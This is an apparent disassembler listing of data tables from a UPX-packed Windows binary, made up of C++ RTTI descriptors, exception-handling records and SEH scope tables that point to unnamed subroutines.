dd offset off_425278
dd offset off_425224
dd offset off_425208
dd offset off_42512C
dd offset off_425110
dd offset off_4250F4
dd offset off_4250D8
dd offset off_4250BC
align 10h
off_424FF0 dd offset off_42B320 ; DATA XREF: UPX0:00424F54o
; UPX0:00425020o
dd 25h, 0
dd 0FFFFFFFFh, 0
dd 40h, 42500Ch, 0
dd 5, 26h, 425020h, 0
dd offset off_424FF0
dd offset off_425858
dd offset off_42583C
dd offset off_425820
dd offset off_4257DC
dd offset off_426050
dd offset off_426090
dd offset off_426100
dd offset off_4260CC
dd offset off_42574C
dd offset off_425730
dd offset off_425714
dd offset off_4256C0
dd offset off_4256A4
dd offset off_4255C8
dd offset off_4255AC
dd offset off_425590
dd offset off_425574
dd offset off_425558
dd offset off_425504
dd offset off_4254E8
dd offset off_425458
dd offset off_42543C
dd offset off_425420
dd offset off_425390
dd offset off_425374
dd offset off_425358
dd offset off_425304
dd offset off_4252E8
dd offset off_425294
dd offset off_425278
dd offset off_425224
dd offset off_425208
dd offset off_42512C
dd offset off_425110
dd offset off_4250F4
dd offset off_4250D8
dd offset off_4250BC
dd 0
off_4250BC dd offset off_42B9CC ; DATA XREF: UPX0:00424FE8o
; UPX0:004250B4o
dd 0
dd 4Ch, 0FFFFFFFFh, 0
dd 42h, 4262D4h
off_4250D8 dd offset off_42B380 ; DATA XREF: UPX0:00424FE4o
; UPX0:004250B0o
dd 1, 4Ch, 0FFFFFFFFh, 0
dd 40h, 425998h
off_4250F4 dd offset off_42AF70 ; DATA XREF: UPX0:00424FE0o
; UPX0:004250ACo
dd 2, 4Ch, 0FFFFFFFFh, 0
dd 40h, 4251CCh
off_425110 dd offset off_42AF94 ; DATA XREF: UPX0:00424FDCo
; UPX0:004250A8o
dd 3, 4Ch, 0FFFFFFFFh, 0
dd 40h, 42518Ch
off_42512C dd offset off_42AFC0 ; DATA XREF: UPX0:00424FD8o
; UPX0:004250A4o
dd 4, 4Ch, 0FFFFFFFFh, 0
dd 40h, 425148h, 2 dup(0)
dd 5, 425158h, 4251ECh, 425170h, 4251B0h, 42597Ch, 4262B8h
dd 0
dd offset off_42AF94
dd 3, 0
dd 0FFFFFFFFh, 0
dd 40h, 42518Ch, 2 dup(0)
dd 4, 42519Ch, 425170h, 4251B0h, 42597Ch, 4262B8h, 0
dd offset off_42AF70
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 4251CCh, 2 dup(0)
dd 3, 4251DCh, 4251B0h, 42597Ch, 4262B8h, 0
dd offset off_42AFC0
dd 4, 0
dd 0FFFFFFFFh, 0
dd 40h, 425148h
off_425208 dd offset off_42B9CC ; DATA XREF: UPX0:00424FD4o
; UPX0:004250A0o
align 10h
dd 48h, 0FFFFFFFFh, 0
dd 42h, 4262D4h
off_425224 dd offset off_42B088 ; DATA XREF: UPX0:00424FD0o
; UPX0:0042509Co
dd 1, 48h, 0FFFFFFFFh, 0
dd 40h, 425240h, 2 dup(0)
dd 2, 425250h, 42525Ch, 4262B8h, 0
dd offset off_42B088
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 425240h
off_425278 dd offset off_42B9CC ; DATA XREF: UPX0:00424FCCo
; UPX0:00425098o
align 10h
dd 44h, 0FFFFFFFFh, 0
dd 42h, 4262D4h
off_425294 dd offset off_42B0A8 ; DATA XREF: UPX0:00424FC8o
; UPX0:00425094o
dd 1, 44h, 0FFFFFFFFh, 0
dd 40h, 4252B0h, 2 dup(0)
dd 2, 4252C0h, 4252CCh, 4262B8h, 0
dd offset off_42B0A8
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 4252B0h
off_4252E8 dd offset off_42B9CC ; DATA XREF: UPX0:00424FC4o
; UPX0:00425090o
align 10h
dd 40h, 0FFFFFFFFh, 0
dd 42h, 4262D4h
off_425304 dd offset off_42B0C4 ; DATA XREF: UPX0:00424FC0o
; UPX0:0042508Co
dd 1, 40h, 0FFFFFFFFh, 0
dd 40h, 425320h, 2 dup(0)
dd 2, 425330h, 42533Ch, 4262B8h, 0
dd offset off_42B0C4
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 425320h
off_425358 dd offset off_42B9CC ; DATA XREF: UPX0:00424FBCo
; UPX0:00425088o
align 10h
dd 38h, 0FFFFFFFFh, 0
dd 42h, 4262D4h
off_425374 dd offset off_42B0E4 ; DATA XREF: UPX0:00424FB8o
; UPX0:00425084o
dd 1, 38h, 0FFFFFFFFh, 0
dd 40h, 4253E8h
off_425390 dd offset off_42B104 ; DATA XREF: UPX0:00424FB4o
; UPX0:00425080o
dd 2, 38h, 0FFFFFFFFh, 0
dd 40h, 4253ACh, 2 dup(0)
dd 3, 4253BCh, 425404h, 4253CCh, 4262B8h, 0
dd offset off_42B0E4
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 4253E8h, 2 dup(0)
dd 2, 4253F8h, 4253CCh, 4262B8h, 0
dd offset off_42B104
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 4253ACh
off_425420 dd offset off_42B9CC ; DATA XREF: UPX0:00424FB0o
; UPX0:0042507Co
align 8
dd 34h, 0FFFFFFFFh, 0
dd 42h, 4262D4h
off_42543C dd offset off_42B144 ; DATA XREF: UPX0:00424FACo
; UPX0:00425078o
dd 1, 34h, 0FFFFFFFFh, 0
dd 40h, 4254B0h
off_425458 dd offset off_42B164 ; DATA XREF: UPX0:00424FA8o
; UPX0:00425074o
dd 2, 34h, 0FFFFFFFFh, 0
dd 40h, 425474h, 2 dup(0)
dd 3, 425484h, 4254CCh, 425494h, 4262B8h, 0
dd offset off_42B144
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 4254B0h, 2 dup(0)
dd 2, 4254C0h, 425494h, 4262B8h, 0
dd offset off_42B164
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 425474h
off_4254E8 dd offset off_42B9CC ; DATA XREF: UPX0:00424FA4o
; UPX0:00425070o
align 10h
dd 30h, 0FFFFFFFFh, 0
dd 42h, 4262D4h
off_425504 dd offset off_42B180 ; DATA XREF: UPX0:00424FA0o
; UPX0:0042506Co
dd 1, 30h, 0FFFFFFFFh, 0
dd 40h, 425520h, 2 dup(0)
dd 2, 425530h, 42553Ch, 4262B8h, 0
dd offset off_42B180
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 425520h
off_425558 dd offset off_42B9CC ; DATA XREF: UPX0:00424F9Co
; UPX0:00425068o
align 10h
dd 2Ch, 0FFFFFFFFh, 0
dd 42h, 4262D4h
off_425574 dd offset off_42B72C ; DATA XREF: UPX0:00424F98o
; UPX0:00425064o
dd 1, 2Ch, 0FFFFFFFFh, 0
dd 40h, 425FD4h
off_425590 dd offset off_42B1A0 ; DATA XREF: UPX0:00424F94o
; UPX0:00425060o
dd 2, 2Ch, 0FFFFFFFFh, 0
dd 40h, 425668h
off_4255AC dd offset off_42B1C0 ; DATA XREF: UPX0:00424F90o
; UPX0:0042505Co
dd 3, 2Ch, 0FFFFFFFFh, 0
dd 40h, 425628h
off_4255C8 dd offset off_42B1E0 ; DATA XREF: UPX0:00424F8Co
; UPX0:00425058o
dd 4, 2Ch, 0FFFFFFFFh, 0
dd 40h, 4255E4h, 2 dup(0)
dd 5, 4255F4h, 425688h, 42560Ch, 42564Ch, 425FB8h, 4262B8h
dd 0
dd offset off_42B1C0
dd 3, 0
dd 0FFFFFFFFh, 0
dd 40h, 425628h, 2 dup(0)
dd 4, 425638h, 42560Ch, 42564Ch, 425FB8h, 4262B8h, 0
dd offset off_42B1A0
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 425668h, 2 dup(0)
dd 3, 425678h, 42564Ch, 425FB8h, 4262B8h, 0
dd offset off_42B1E0
dd 4, 0
dd 0FFFFFFFFh, 0
dd 40h, 4255E4h
off_4256A4 dd offset off_42B9CC ; DATA XREF: UPX0:00424F88o
; UPX0:00425054o
dd 0
dd 28h, 0FFFFFFFFh, 0
dd 42h, 4262D4h
off_4256C0 dd offset off_42B208 ; DATA XREF: UPX0:00424F84o
; UPX0:00425050o
dd 1, 28h, 0FFFFFFFFh, 0
dd 40h, 4256DCh, 2 dup(0)
dd 2, 4256ECh, 4256F8h, 4262B8h, 0
dd offset off_42B208
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 4256DCh
off_425714 dd offset off_42B9CC ; DATA XREF: UPX0:00424F80o
; UPX0:0042504Co
dd 0
dd 24h, 0FFFFFFFFh, 0
dd 42h, 4262D4h
off_425730 dd offset off_42B228 ; DATA XREF: UPX0:00424F7Co
; UPX0:00425048o
dd 1, 24h, 0FFFFFFFFh, 0
dd 40h, 4257A4h
off_42574C dd offset off_42B248 ; DATA XREF: UPX0:00424F78o
; UPX0:00425044o
dd 2, 24h, 0FFFFFFFFh, 0
dd 40h, 425768h, 2 dup(0)
dd 3, 425778h, 4257C0h, 425788h, 4262B8h, 0
dd offset off_42B228
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 4257A4h, 2 dup(0)
dd 2, 4257B4h, 425788h, 4262B8h, 0
dd offset off_42B248
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 425768h
off_4257DC dd offset off_42B270 ; DATA XREF: UPX0:00424F64o
; UPX0:00425030o
dd 4, 0
dd 0FFFFFFFFh, 0
dd 40h, 4257F8h, 0
dd 1, 5, 425808h, 4257DCh, 426050h, 426090h, 426100h, 4260CCh
dd 0
off_425820 dd offset off_42B960 ; DATA XREF: UPX0:00424F60o
; UPX0:0042502Co
align 8
dd 50h, 0FFFFFFFFh, 0
dd 40h, 426284h
off_42583C dd offset off_42B988 ; DATA XREF: UPX0:00424F5Co
; UPX0:00425028o
dd 1, 50h, 0FFFFFFFFh, 0
dd 40h, 42624Ch
off_425858 dd offset off_42B2D0 ; DATA XREF: UPX0:00424F58o
; UPX0:00425024o
align 10h
dd 50h, 0FFFFFFFFh, 0
dd 40h, 425874h, 2 dup(0)
dd 1, 425884h, 42588Ch, 0
dd offset off_42B2D0
dd 2 dup(0)
dd 0FFFFFFFFh, 0
dd 40h, 425874h
off_4258A8 dd offset off_42B340 ; DATA XREF: UPX0:00424F50o
dd 26h, 0
dd 0FFFFFFFFh, 0
dd 40h, 424F3Ch, 0
dd 24h, 0
dd offset off_42B420
dd offset dword_4258EC
dword_4258D8 dd 3 dup(0) dd offset off_42B420
dd offset dword_4258EC
dword_4258EC dd 0 ; UPX0:004258E8o
dd 1, 9, 4258FCh, 425A14h, 4259D0h, 426050h, 426090h, 426100h
dd 4260CCh, 425940h, 425924h, 425EE8h, 0
dd offset off_42B380
dd 1, 24h, 0FFFFFFFFh, 0
dd 40h, 425998h, 42B398h, 2, 24h, 0FFFFFFFFh, 0
dd 40h, 42595Ch, 2 dup(0)
dd 3, 42596Ch, 4259B4h, 42597Ch, 4262B8h, 0
dd offset off_42B380
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 425998h, 2 dup(0)
dd 2, 4259A8h, 42597Ch, 4262B8h, 0
dd offset off_42B398
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 42595Ch, 42B3C0h, 4, 0
dd 0FFFFFFFFh, 0
dd 40h, 4259ECh, 0
dd 1, 5, 4259FCh, 4259D0h, 426050h, 426090h, 426100h, 4260CCh
dd 0
dd offset off_42B420
dd 8, 0
dd 0FFFFFFFFh, 0
dd 40h, 4258ECh
dword_425A30 dd 3 dup(0) dd offset off_42DC94
dd offset dword_425A44
dword_425A44 dd 2 dup(0) dd 3, 425A54h, 425A64h, 425B00h, 425B4Ch, 0
dd offset off_42DC94
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 425A44h
dword_425A80 dd 3 dup(0) dd offset off_42DE84
dd offset dword_425A94
dword_425A94 dd 2 dup(0) dd 3, 425AA4h, 425AB4h, 425B00h, 425B4Ch, 0
dd offset off_42DE84
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 425A94h
dword_425AD0 dd 3 dup(0) dd offset off_42DCB4
dd offset dword_425AE4
dword_425AE4 dd 2 dup(0) dd 2, 425AF4h, 425B00h, 425B4Ch, 0
dd offset off_42DCB4
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 425AE4h, 3 dup(0)
dd offset off_42DEC0
dd offset dword_425B30
dword_425B30 dd 2 dup(0) dd 2, 425B40h, 425B80h, 425B4Ch, 0
dd offset off_42DC78
dd 2 dup(0)
dd 0FFFFFFFFh, 0
dd 40h, 425B68h
dword_425B68 dd 2 dup(0) dd 1, 425B78h, 425B4Ch, 0
dd offset off_42DEC0
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 425B30h
dword_425B9C dd 3 dup(0) dd offset off_42B5B0
dd offset dword_425BB0
dword_425BB0 dd 0 dd 1, 7, 425BC0h, 425CD4h, 425BE0h, 425C60h, 425C9Ch, 4262B8h
dd 425C44h, 425C28h, 0
dd offset off_42B4F8
db 5, 4 dup(0)
align 4
dd 0FFFFFFFFh, 0
dd 40h, 425BFCh, 0
dd 1, 6, 425C0Ch, 425BE0h, 425C60h, 425C9Ch, 4262B8h, 425C44h
dd 425C28h, 0
dd offset off_42B960
align 10h
dd 18h, 0FFFFFFFFh, 0
dd 40h, 426284h, 42B8C0h, 1, 18h, 0FFFFFFFFh, 0
dd 40h, 426188h, 42B458h, 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 425C7Ch, 2 dup(0)
dd 3, 425C8Ch, 425C60h, 425C9Ch, 4262B8h, 0
dd offset off_42B43C
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 425CB8h, 2 dup(0)
dd 2, 425CC8h, 425C9Ch, 4262B8h, 0
dd offset off_42B5B0
dd 6, 0
dd 0FFFFFFFFh, 0
dd 40h, 425BB0h
dword_425CF0 dd 0 dd 24h, 0
dd offset off_42B6F8
dd offset dword_425D18
dword_425D04 dd 3 dup(0) dd offset off_42B6F8
dd offset dword_425D18
dword_425D18 dd 0 ; UPX0:00425D14o
dd 1, 0Ch, 425D28h, 425DFCh, 425D5Ch, 42616Ch, 426150h
dd 425DB8h, 426050h, 426090h, 426100h, 4260CCh, 425F20h
dd 425F04h, 425EE8h, 0
dd offset off_42B6D8
dd 0Ah, 0
dd 0FFFFFFFFh, 0
dd 40h, 425D78h, 0
dd 1, 0Bh, 425D88h, 425D5Ch, 42616Ch, 426150h, 425DB8h
dd 426050h, 426090h, 426100h, 4260CCh, 425F20h, 425F04h
dd 425EE8h, 0
dd offset off_42B678
dd 4, 0
dd 0FFFFFFFFh, 0
dd 40h, 425DD4h, 0
dd 1, 5, 425DE4h, 425DB8h, 426050h, 426090h, 426100h, 4260CCh
dd 0
dd offset off_42B6F8
dd 0Bh, 0
dd 0FFFFFFFFh, 0
dd 40h, 425D18h
dword_425E18 dd 0 dd 24h, 0
dd offset off_42B928
dd offset dword_425E40
dword_425E2C dd 3 dup(0) dd offset off_42B928
dd offset dword_425E40
dword_425E40 dd 0 ; UPX0:00425E3Co
dd 1, 0Dh, 425E50h, 4261C0h, 425E88h, 42616Ch, 426150h
dd 42600Ch, 426050h, 426090h, 426100h, 4260CCh, 425F3Ch
dd 425F20h, 425F04h, 425EE8h, 0
dd offset off_42B904
dd 0Bh, 0
dd 0FFFFFFFFh, 0
dd 40h, 425EA4h, 0
dd 1, 0Ch, 425EB4h, 425E88h, 42616Ch, 426150h, 42600Ch
dd 426050h, 426090h, 426100h, 4260CCh, 425F3Ch, 425F20h
dd 425F04h, 425EE8h, 0
dd offset off_42B9CC
align 10h
dd 24h, 0FFFFFFFFh, 0
dd 40h, 4262D4h, 42B72Ch, 1, 24h, 0FFFFFFFFh, 0
dd 40h, 425FD4h, 42B748h, 2, 24h, 0FFFFFFFFh, 0
dd 40h, 425F98h, 42B76Ch, 3, 24h, 0FFFFFFFFh, 0
dd 40h, 425F58h, 2 dup(0)
dd 4, 425F68h, 425FF0h, 425F7Ch, 425FB8h, 4262B8h, 0
dd offset off_42B748
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 425F98h, 2 dup(0)
dd 3, 425FA8h, 425F7Ch, 425FB8h, 4262B8h, 0
dd offset off_42B72C
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 425FD4h, 2 dup(0)
dd 2, 425FE4h, 425FB8h, 4262B8h, 0
dd offset off_42B76C
dd 3, 0
dd 0FFFFFFFFh, 0
dd 40h, 425F58h, 42B858h, 4, 0
dd 0FFFFFFFFh, 0
dd 40h, 426028h, 0
dd 1, 5, 426038h, 42600Ch, 426050h, 426090h, 426100h, 4260CCh
dd 0
off_426050 dd offset off_42B800 ; DATA XREF: UPX0:00424F68o
; UPX0:00425034o
dd 3, 0
dd 0FFFFFFFFh, 0
dd 40h, 42606Ch, 0
dd 1, 4, 42607Ch, 426050h, 426090h, 426100h, 4260CCh, 0
off_426090 dd offset off_42B7C8 ; DATA XREF: UPX0:00424F6Co
; UPX0:00425038o
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 4260ACh, 0
dd 1, 3, 4260BCh, 426090h, 426100h, 4260CCh, 0
off_4260CC dd offset off_42B78C ; DATA XREF: UPX0:00424F74o
; UPX0:00425040o
dd 2 dup(0)
dd 0FFFFFFFFh, 0
dd 40h, 4260E8h, 2 dup(0)
dd 1, 4260F8h, 4260CCh, 0
off_426100 dd offset off_42B7AC ; DATA XREF: UPX0:00424F70o
; UPX0:0042503Co
align 8
dd 4, 0FFFFFFFFh, 0
dd 40h, 42611Ch, 2 dup(0)
dd 1, 42612Ch, 426134h, 0
dd offset off_42B7AC
align 10h
dd 0FFFFFFFFh, 0
dd 40h, 42611Ch, 42B960h, 0
dd 28h, 0FFFFFFFFh, 0
dd 40h, 426284h, 42B8C0h, 1, 28h, 0FFFFFFFFh, 0
dd 40h, 426188h, 2 dup(0)
dd 2, 426198h, 4261A4h, 426268h, 0
dd offset off_42B8C0
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 426188h, 42B928h, 0Ch, 0
dd 0FFFFFFFFh, 0
dd 40h, 425E40h
dword_4261DC dd 3 dup(0) dd offset off_42B9E4
dd offset dword_4261F0
dword_4261F0 dd 0 dd 1, 4, 426200h, 4262ECh, 4262B8h, 426230h, 426214h, 0
dd offset off_42B960
dd 0
dd 4, 0FFFFFFFFh, 0
dd 40h, 426284h, 42B988h, 1, 4, 0FFFFFFFFh, 0
dd 40h, 42624Ch, 2 dup(0)
dd 2, 42625Ch, 42629Ch, 426268h, 0
dd offset off_42B960
dd 2 dup(0)
dd 0FFFFFFFFh, 0
dd 40h, 426284h, 2 dup(0)
dd 1, 426294h, 426268h, 0
dd offset off_42B988
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 42624Ch, 42B9CCh, 2 dup(0)
dd 0FFFFFFFFh, 0
dd 40h, 4262D4h, 2 dup(0)
dd 1, 4262E4h, 4262B8h, 0
dd offset off_42B9E4
dd 3, 0
dd 0FFFFFFFFh, 0
dd 40h, 4261F0h, 0
dd 24h, 0
dd offset off_42DEDC
dd offset dword_426330
dword_42631C dd 3 dup(0) dd offset off_42DEDC
dd offset dword_426330
dword_426330 dd 0 ; UPX0:0042632Co
dd 1, 0Ah, 426340h, 42636Ch, 425A14h, 4259D0h, 426050h
dd 426090h, 426100h, 4260CCh, 425940h, 425924h, 425EE8h
dd 0
dd offset off_42DEDC
dd 9, 0
dd 0FFFFFFFFh, 0
dd 40h, 426330h, 0
dd 24h, 0
dd offset off_42DEF8
dd offset dword_4263B0
dword_42639C dd 3 dup(0) dd offset off_42DEF8
dd offset dword_4263B0
dword_4263B0 dd 0 ; UPX0:004263ACo
dd 1, 0Ah, 4263C0h, 4263ECh, 425A14h, 4259D0h, 426050h
dd 426090h, 426100h, 4260CCh, 425940h, 425924h, 425EE8h
dd 0
dd offset off_42DEF8
dd 9, 0
dd 0FFFFFFFFh, 0
dd 40h, 4263B0h, 0
dd 24h, 0
dd offset off_42DF18
dd offset dword_426430
dword_42641C dd 3 dup(0) dd offset off_42DF18
dd offset dword_426430
dword_426430 dd 0 ; UPX0:0042642Co
dd 1, 0Ah, 426440h, 42646Ch, 425A14h, 4259D0h, 426050h
dd 426090h, 426100h, 4260CCh, 425940h, 425924h, 425EE8h
dd 0
dd offset off_42DF18
dd 9, 0
dd 0FFFFFFFFh, 0
dd 40h, 426430h, 0
dd 24h, 0
dd offset off_42DF34
dd offset dword_4264B0
dword_42649C dd 3 dup(0) dd offset off_42DF34
dd offset dword_4264B0
dword_4264B0 dd 0 ; UPX0:004264ACo
dd 1, 0Ah, 4264C0h, 4264ECh, 425A14h, 4259D0h, 426050h
dd 426090h, 426100h, 4260CCh, 425940h, 425924h, 425EE8h
dd 0
dd offset off_42DF34
dd 9, 0
dd 0FFFFFFFFh, 0
dd 40h, 4264B0h
dword_426508 dd 3 dup(0) dd offset off_42DF74
dd offset dword_42651C
dword_42651C dd 2 dup(0) dd 3, 42652Ch, 426574h, 42653Ch, 4262B8h, 0
dd offset off_42DF54
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 426558h, 2 dup(0)
dd 2, 426568h, 42653Ch, 4262B8h, 0
dd offset off_42DF74
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 42651Ch
dword_426590 dd 3 dup(0) dd offset off_42E008
dd offset dword_4265A4
dword_4265A4 dd 2 dup(0) dd 4, 4265B4h, 42668Ch, 4265C8h, 426604h, 42663Ch, 0
dd offset off_42DFD4
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 4265E4h, 2 dup(0)
dd 3, 4265F4h, 4265C8h, 426604h, 42663Ch, 0
dd offset off_42DFB4
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 426620h, 2 dup(0)
dd 2, 426630h, 426604h, 42663Ch, 0
dd offset off_42DF94
dd 0
dd 4, 0FFFFFFFFh, 0
dd 40h, 426658h, 2 dup(0)
dd 1, 426668h, 426670h, 0
dd offset off_42DF94
dd 2 dup(0)
dd 0FFFFFFFFh, 0
dd 40h, 426658h, 42E008h, 3, 0
dd 0FFFFFFFFh, 0
dd 40h, 4265A4h, 2 dup(0)
dword_4266B0 dd 0BE20h, 0C14Ah, 0C254h, 0FF9Ch, 14620h, 1BED4h, 1BEEFh
; DATA XREF: UPX0:00424DB0o
; UPX1:00470A70o
dd 1BF15h, 1BF38h, 1BF5Bh, 1BF7Eh, 1BFABh, 1BFCEh, 1C011h
dd 1C056h, 1C086h, 1C0B7h, 1C107h, 1C12Dh, 1C14Bh, 1C166h
dd 1C189h, 1C1DCh, 1C209h, 1C224h, 1C247h, 1C277h, 1C2B2h
dd 1C2DAh, 1C315h, 1C345h, 1C383h, 1C3C1h, 1C3DCh, 1C3FCh
dd 1C41Fh, 1C442h, 1C468h, 1C48Eh, 1C4B1h, 1C4D4h, 1C4F9h
dd 1C527h, 1C542h, 1C568h, 1C599h, 1C5CFh, 1C5EAh, 1C605h
dd 1C630h, 1C65Bh, 1C690h, 1C6CBh, 1C6EEh, 1C711h, 1C734h
dd 1C75Ah, 1C7C8h, 0
dword_42679C dd 2 dup(0) ; sub_40FC85+8o
dword_4267A4 dd 0 ; UPX0:0040FCB3o
dd 0FFFFFFFFh, 41BECCh
dword_4267B0 dd 19930522h, 1, 4267A8h, 5 dup(0) dd 1, 0
dword_4267D8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40AE1E
align 8
dword_4267F8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40AE9C
align 8
dword_426818 dd 0FFFFFFFEh, 0 db 0CCh
db 3 dup(0FFh)
align 8
dd 0FFFFFFFEh, 40B080h, 40B0A9h, 0
dword_426838 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40B106
align 8
dword_426858 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40B353
align 8
dword_426878 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40B76A
align 8
dword_426898 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40B9DF
align 8
dword_4268B8 dd 0FFFFFFFEh, 0 db 88h, 0FFh
dw 0FFFFh
align 8
dd 0FFFFFFFEh, 40BD1Ch, 40BD20h, 0FFFFFFFEh, 40BCE2h, 40BCF6h
dword_4268E0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40CFA0
align 10h
dword_426900 dd 0FFFFFFFEh, 0 dd 0FFFFFFC8h, 0
dd 0FFFFFFFEh, 0
dd offset loc_40DD28
align 10h
dword_426920 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 40E04Bh, 40E04Fh, 0
dword_426940 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 40E09Bh, 40E09Fh, 0
dword_426960 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40E2FE
dd 0FFFFFFFEh, 0
dd offset sub_40E30D
dword_426988 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40E4C0
dd 0FFFFFFFEh, 0
dd offset sub_40E4CC
dword_4269B0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40E6F7
align 10h
dword_4269D0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40EADC
align 10h
dword_4269F0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40EC6F
align 10h
dword_426A10 dd 0FFFFFFFEh, 0 dd 0FFFFFF8Ch, 0
dd 0FFFFFFFEh, 40FC6Eh, 40FC72h, 0
dword_426A30 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 40FE6Ah, 40FE86h, 0
dword_426A50 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 41017Bh, 41018Fh, 0
dword_426A70 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_410365
align 10h
dd offset loc_410327
dd offset loc_410331
dword_426A98 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 41040Eh, 410417h, 40h, 2 dup(0)
dd offset loc_4104F5
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 426AB4h
dword_426AE8 dd 19930522h, 2, 426AC4h, 1, 426AD4h, 3 dup(0) dd 1, 0
dword_426B10 dd 0FFFFFFFEh, 0 dd 0FFFFFFB4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_41062D
align 10h
dd offset loc_41059D
dd offset loc_4105A6
dword_426B38 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 410814h, 410818h, 0
dword_426B58 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 4108ADh, 4108B1h
dword_426B74 dd 0 ; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 1, 41h, 0
align 10h
dd offset dword_426B84
dword_426B84 dd 2, 426B90h, 426DA8h, 0 dd offset off_42A424
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 410D63h, 0
dword_426BB0 dd 0FFFFFFFEh, 0 db 0CCh
db 3 dup(0FFh)
align 10h
dd 0FFFFFFFEh, 0
dd offset sub_411050
align 10h
dword_426BD0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_41185F
align 10h
dword_426BF0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_411DBB
align 10h
dword_426C10 dd 0FFFFFFFEh, 0 db 0CCh
db 3 dup(0FFh)
align 10h
dd 0FFFFFFFEh, 0
dd offset sub_412189
align 10h
dword_426C30 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_4124F9
align 10h
dword_426C50 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 413621h, 413638h, 0
dword_426C70 dd 0FFFFFFFEh, 0 dd 0FFFFFFC0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_413830
align 10h
dword_426C90 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_4148D8
align 10h
dword_426CB0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_414A68
align 10h
dword_426CD0 dd 0FFFFFFFEh, 0 db 0CCh
db 3 dup(0FFh)
align 10h
dd 0FFFFFFFEh, 0
dd offset sub_414BF2
dd 2 dup(0)
dd offset sub_414BBE
dword_426CF8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_415BBB
align 8
dword_426D18 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_415E01
align 8
dword_426D38 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_415EE3
align 8
